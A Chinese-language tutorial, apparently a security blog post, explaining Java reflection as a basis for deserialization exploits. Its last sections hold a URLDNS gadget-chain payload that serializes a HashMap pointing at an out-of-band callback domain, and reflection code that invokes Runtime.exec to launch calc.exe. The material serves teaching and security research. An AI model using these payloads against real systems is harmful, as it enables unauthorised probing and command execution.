反射理解 反射的作用:让 Java 具有动态性 Java 的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法; 并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为 Java 语言的反射机制。
Java 本身是一种静态语言,为什么这么说,看这一段代码就知道了。
1 Student student = new Student ();
那反过来,什么是动态语言呢?PHP 本身就拥有很多动态特性,我们来看这一段代码。在这一段代码里面,我们输入 eval,php 就执行 eval 命令;输入 echo 就执行 echo 命令;这就是语言的动态特性。
正射 我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。
1 2 Student student = new Student ();student.doHomework("数学" );
反射 反射就是,一开始并不知道我们要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了。我们以这一段经典的反射代码为例说明。
还记得上一章的 Person.java 文件吗? 我们这里新建一个 ReflectionTest.java 文件,并在其中添加如下代码。
1 2 3 4 public static void main (String[] args) throws Exception{ Person person = new Person (); Class c = person.getClass(); }
我们注意到在代码块中出现了大写 C 开头的 Class;
理解反射的第一步就必须先搞清楚 Class 是什么。
Java Class 对象理解 我们程序在运行的时候会编译生成一个 .class 文件,而这个 .class 文件中的内容就是相对应的类的所有信息,比如这段程序当中:
1 2 3 4 public static void main (String[] args) throws Exception{ Person person = new Person (); Class c = person.getClass(); }
其实 person.class 就是 Class ,Class 也就是描述类的类。
Class 类的对象作用是运行时提供或获得某个对象的类型信息。
所以反射其实就是操作 Class,看清楚了,是大 C
Java 反射组成相关的类 反射机制相关操作一般位于java.lang.reflect包中。
而java反射机制组成需要重点注意以下的类:
java.lang.Class:类对象;
java.lang.reflect.Constructor:类的构造器对象;
java.lang.reflect.Field:类的属性对象;
java.lang.reflect.Method:类的方法对象;
Java 反射使用方法 前文铺垫了那么多的基础知识,所以我们的 Java 反射该如何利用与实现,又该如何辅助我们帅气的 弹shell 呢?
获取类的方法:forName
实例化类对象的方法:newInstance
获取函数的方法:getMethod
执行函数的方法:invoke
首先需要实例化对象 对于普通用户我们可以采用以下方法创建实例:
1 Person test = new Person ();
而我们在创建 Class 类的实例对象却不能使用上述方法,运行会抛出错误
1 Class test = new Class ();
同时我们可以跟进 Class 类的源码进行查看,发现其构造器是私有的,所以只有 JVM 能够创建 Class 对象。 因为 Class 类是 private 私有属性,我们也无法通过创建对象的方式来获取 class 对象,那么我们怎样才能够获取到 class 对象呢?一般我们获取 class 对象就有以下三种方法,我们来逐一看看。
方法一、实例化对象的getClass()方法
如果上下文中存在某个类的实例 obj,那么我们可以通过 obj.getClass 来获取它的类。
1 2 TestReflection testReflection = new TestReflection ();Class class3 = testReflection.getClass();
方法二、 使用类的 .class 方法
如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接拿它的 class 属性即可。这个方法其实不属于反射。
1 Class class2 = TestReflection.class;
方法三、Class.forName(String className):动态加载类
如果你知道某个类的名字,想获取到这个类,就可以使用 forName 来获取,后续要利用的话是需要实例化的。
1 Class class1 = Class.forName("reflection.TestReflection" );
我们可以写个简单的示例代码,分别利用这三种方法获取当前类Class对象的当前类名。
ReflectionTest01.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package urldns;public class ReflectionTest01 { public static void main (String[] args) throws Exception{ Class c1 = Person.class; System.out.println(c1.getName()); Person person = new Person (); Class c2 = person.getClass(); System.out.println(c2.getName()); Class c3 = Class.forName("urldns.Person" ); System.out.println(c3.getName()); } }
下面讲的三种,都是获取类里面的东西。
获取成员变量 Field 获取成员变量Field位于 java.lang.reflect.Field 包中
1 2 3 4 5 6 7 Field[] getFields() Field[] getDeclaredFields() Field getField (String name) Field getDeclaredField (String name)
获取成员方法 Method 要注意以下,第一个参数是传参,第二个参数是确定重载的是哪个函数。
1 2 3 4 5 6 7 8 9 Method getMethod (String name, 类<?>... parameterTypes) Method getDeclaredMethod (String name, 类<?>... parameterTypes) Method[] getMethods() Method[] getDeclaredMethods()
在 Person.java 中添加如下代码
1 2 3 4 5 6 7 public void study (String s) { System.out.println("学习中..." + s); } private String sleep (int age) { System.out.println("睡眠中..." + age); return "sleep" ; }
并在 ReflectionTest02.java 中添加如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package urldns;import com.sun.xml.internal.ws.encoding.MtomCodec;import java.lang.reflect.Method;public class ReflectionTest02 { public static void main (String[] args) throws Exception{ Class c1 = Class.forName("urldns.Person" ); Method[] methods1 = c1.getDeclaredMethods(); Method[] methods2 = c1.getMethods(); for (Method m:methods1){ System.out.println(m); } System.out.println("-------分割线---------" ); for (Method m:methods2) { System.out.println(m); } System.out.println("-------分割线---------" ); Method methods3 = c1.getMethod("study" , String.class); System.out.println(methods3); System.out.println("-------分割线---------" ); Method methods4 = c1.getDeclaredMethod("sleep" , int .class); System.out.println(methods4); } }
运行结果
获取构造函数 Constructor 1 2 3 4 5 6 7 Constructor<?>[] getConstructors() Constructor<?>[] getDeclaredConstructors() Constructor<> getConstructor(类<?>... parameterTypes) Constructor<> getDeclaredConstructor(类<?>... parameterTypes)
在 forName 之后获取构造函数
新建一个文件 PersonConstructor.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package urldns;import java.io.Serializable;public class PersonConstructor { private String name; private int age; public PersonConstructor () { } public PersonConstructor (String name, int age) { this .name = name; this .age = age; } private PersonConstructor (String name) { this .name = name; } @Override public String toString () { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
ReflectionTest03.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package urldns;import java.lang.reflect.Constructor;public class ReflectionTest03 { public static void main (String[] args) throws Exception{ Class c1 = Class.forName("urldns.PersonConstructor" ); Constructor[] constructors1 = c1.getDeclaredConstructors(); Constructor[] constructors2 = c1.getConstructors(); for (Constructor c : constructors1){ System.out.println(c); } System.out.println("-------分割线---------" ); for (Constructor c : constructors2){ System.out.println(c); } System.out.println("-------分割线---------" ); Constructor constructors3 = c1.getConstructor(String.class, int .class); System.out.println(constructors3); System.out.println("-------分割线---------" ); Constructor constructors4 = c1.getDeclaredConstructor(String.class); } }
反射的进阶使用 反射创建对象 反射创建对象,也叫做反射之后实例化对象,这里用到的是我们之前讲过的 newInstance() 方法
1 2 Class c = Class.forName("类的名称" ); Object m1 = c.newInstance();
这里也顺便说下 invoke 方法,invoke 方法位于 java.lang.reflect.Method 类中,用于执行某个的对象的目标方法。 一般会和 getMethod 方法配合进行调用。
用法
1 public Object invoke (Object obj, Object... args)
第一个参数为类的实例,第二个参数为相应函数中的参数
obj:从中调用底层方法的对象,必须是实例化对象
args: 用于方法的调用,是一个 object 的数组,参数有可能是多个
但需要注意的是,invoke 方法第一个参数并不是固定的:
如果调用这个方法是普通方法,第一个参数就是类对象;
如果调用这个方法是静态方法,第一个参数就是类;
将我们的知识进行整合归纳下,我们可以写个完整的小例子。
先在Person.java里加一个新的方法
1 2 3 public void reflect () { System.out.println("弹弹弹,射射射" ); }
ReflectionTest04.java
1 2 3 4 5 6 7 8 9 10 11 12 package urldns;import java.lang.reflect.Method;public class ReflectionTest04 { public static void main (String[] args) throws Exception{ Class c1 = Class.forName("urldns.Person" ); Object m = c1.newInstance(); Method method = c1.getMethod("reflect" ); method.invoke(m); } }
这就是反射,简单吧。回归到我们上篇文章讲的 URLDNS,我们需要完成这样一些操作。
关于反射的小结 先讲完反射,再去以 URLDNS 链为例
说白了反射也就这点东西,先获取类,并进行实例化对象;
然后获取类里面的属性;调用类里面的方法,就没了。
URLDNS 链讲解 上一章中半路上杀出了一个程咬金,这里我们把它解决掉。
要修改 hashCode 先为不是 -1 的值,再改回 -1 其实很简单,我们先获取类,并且实例化对象。我们来看 Payload,其实一下就明白了。
1 2 3 4 5 6 7 8 9 10 URL url = new URL ("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com" ); Class c = url.getClass(); Field hashcodefile = c.getDeclaredField("hashCode" ); hashcodefile.setAccessible(true ); hashcodefile.set(url,1234 ); hashmap.put(url,1 ); hashcodefile.set(url,-1 ); serialize(hashmap);
getClass() 实例化对象,接着就是获取类的方法,获取类的属性并修改。
利用反射弹计算器 用我们的 forName 与 newInstance() 实例化对象后,再进行获取方法,执行。
1 2 3 4 5 6 7 8 9 10 11 package urldns;import java.lang.reflect.Method;public class FinalReflectionCalc { public static void main (String[] args) throws Exception{ Class c1 = Class.forName("java.lang.Runtime" ); Object o1 = c1.newInstance(); Method m1 = c1.getDeclaredMethod("exec" ,String.class); } }
这里报错了,原因是 java.lang.Runtime 是私有的。
我们换一种方式弹计算器,不过加上 setAccessible(true) 也可以
1 2 3 4 5 6 7 8 9 10 11 12 13 package urldns;import java.lang.reflect.Method;public class FinalReflectionCalc { public static void main (String[] args) throws Exception{ Class c1 = Class.forName("java.lang.Runtime" ); Method method = c1.getMethod("exec" , String.class); Method RuntimeMethod = c1.getMethod("getRuntime" ); Object o1 = RuntimeMethod.invoke(c1); method.invoke(o1, "C:\\WINDOWS\\System32\\calc.exe" ); } }
成功弹出来了。
当然,上方的代码太冗长,可以将上方的代码稍微修整一下:
1 2 Class c1 = Class.forName("java.lang.Runtime" ); c1.getMethod("exec" , String.class).invoke(c1.getMethod("getRuntime" ).invoke(c1), "C:\\WINDOWS\\System32\\calc.exe" );
参考https://drun1baby.top/2022/05/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-02-Java%E5%8F%8D%E5%B0%84%E4%B8%8EURLDNS%E9%93%BE%E5%88%86%E6%9E%90/